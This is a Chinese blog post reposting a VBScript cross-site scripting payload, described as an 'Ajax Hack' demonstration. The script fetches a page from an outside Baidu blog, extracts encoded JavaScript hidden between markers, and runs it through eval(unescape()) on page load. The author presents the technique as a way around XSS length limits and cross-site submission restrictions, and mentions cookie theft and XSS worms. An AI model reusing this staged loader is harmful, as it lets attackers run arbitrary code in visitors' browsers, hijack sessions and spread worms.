首页 > 代码库 > 一个有趣的Ajax Hack示范

一个有趣的Ajax Hack示范

今天在梦之光芒的BLOG上看见了一个Ajax Hack示范,其实跨站发现很容易,但是要做到大危害还是很难,偷偷COOKIE什么的只针对用户而已,XSS WORM的那种利用才是可怕的。 

来看看他的一段VBSCRIPT脚本 

vbscript:execute("  
dim l,s:  
l=chr(13)+chr(10):  
s=""sub mycode""&l:  
s=s&""dim http,url,pg,p,p2,cd,ht,o""&l:  
s=s&""url=""""http://hi.baidu.com/monyer/blog/item/83b70ed71b5095dda044df67.html""""""&l:  
s=s&""set http=createobject(""""Microsoft.XMLHTTP"""")""&l:  
s=s&""http.open """"get"""",url,false""&l:  
s=s&""http.send("""""""")""&l:  
s=s&""pg=http.responseText""&l:  
s=s&""p=instr(1,pg,""""ILOVEUNING-BEGIN"""")""&l:  
s=s&""if p=null or p<1 then exit sub""&l:  
s=s&""p=instr(p,pg,chr(37))""&l:  
s=s&""if p=null or p<1 then exit sub""&l:  
s=s&""p2=instr(p,pg,chr(60))""&l:  
s=s&""cd=mid(pg,p,p2-p)""&l:  
s=s&""ht=""""eval(unescape(""""&cd&""""‘))""""""&l:  
s=s&""window.execScript ht,""""jscript""""""&l:  
s=s&""end sub""&l:  
execute(s):  
document.body.onload=getref(""mycode""):  
") 

调用代码在 http://hi.baidu.com/monyer/blog/item/83b70ed71b5095dda044df67.html 
这样就实现了本站调用代码,换个思路,是否这就解决了Ajax Hack常用的的提交数据限制(站外提交没有权限,XSS代码长度限制)的问题,呵呵~这里我也没实验。 

再还有一个思路就是剑心的分片写入脚本再eval出来~这两个思路结合起来,也许我们就能在苛刻的XSS漏洞上创造奇迹!

<iframe id="google_ads_frame2" vspace="0" height="250" marginHeight="0" src="http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-3447371224873639&output=html&h=250&slotname=8660799060&adk=1970350646&w=300&lmt=1399319517&flash=0&url=http%3A%2F%2Fwww.cnblogs.com%2Franran%2Fp%2F3709575.html&dt=1399319520836&shv=r20140429&cbv=r20140417&saldr=sb&prev_slotnames=4356862740&correlator=1399319520717&frm=20&ga_vid=429972749.1397695120&ga_sid=1399310453&ga_hid=1754327834&ga_fc=1&u_tz=480&u_his=409&u_java=1&u_h=768&u_w=1364&u_ah=740&u_aw=1364&u_cd=16&u_nplug=0&u_nmime=0&dff=verdana&dfs=13&adx=0&ady=1309&biw=314&bih=74&eid=317150304&oid=3&rx=0&eae=0&docm=9&vis=0&fu=0&ifi=2&xpc=ujoLitfYjf&p=http%3A//www.cnblogs.com&dtd=45" frameBorder="0" width="300" allowTransparency="true" name="google_ads_frame2" marginWidth="0" scrolling="no" hspace="0"></iframe><iframe id="google_ads_frame3" vspace="0" height="250" marginHeight="0" src="http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-3447371224873639&output=html&h=250&slotname=8660799060&adk=1970350646&w=300&lmt=1399319517&flash=0&url=http%3A%2F%2Fwww.cnblogs.com%2Franran%2Fp%2F3709575.html&dt=1399319520889&shv=r20140429&cbv=r20140417&saldr=sb&prev_slotnames=4356862740%2C8660799060&correlator=1399319520717&frm=20&ga_vid=429972749.1397695120&ga_sid=1399310453&ga_hid=1754327834&ga_fc=1&u_tz=480&u_his=409&u_java=1&u_h=768&u_w=1364&u_ah=740&u_aw=1364&u_cd=16&u_nplug=0&u_nmime=0&dff=verdana&dfs=13&adx=305&ady=1559&biw=314&bih=74&eid=317150304&oid=3&rx=0&eae=0&docm=9&vis=0&fu=0&ifi=3&xpc=Q3CoKoKzM3&p=http%3A//www.cnblogs.com&dtd=54" frameBorder="0" width="300" allowTransparency="true" name="google_ads_frame3" marginWidth="0" scrolling="no" hspace="0"></iframe>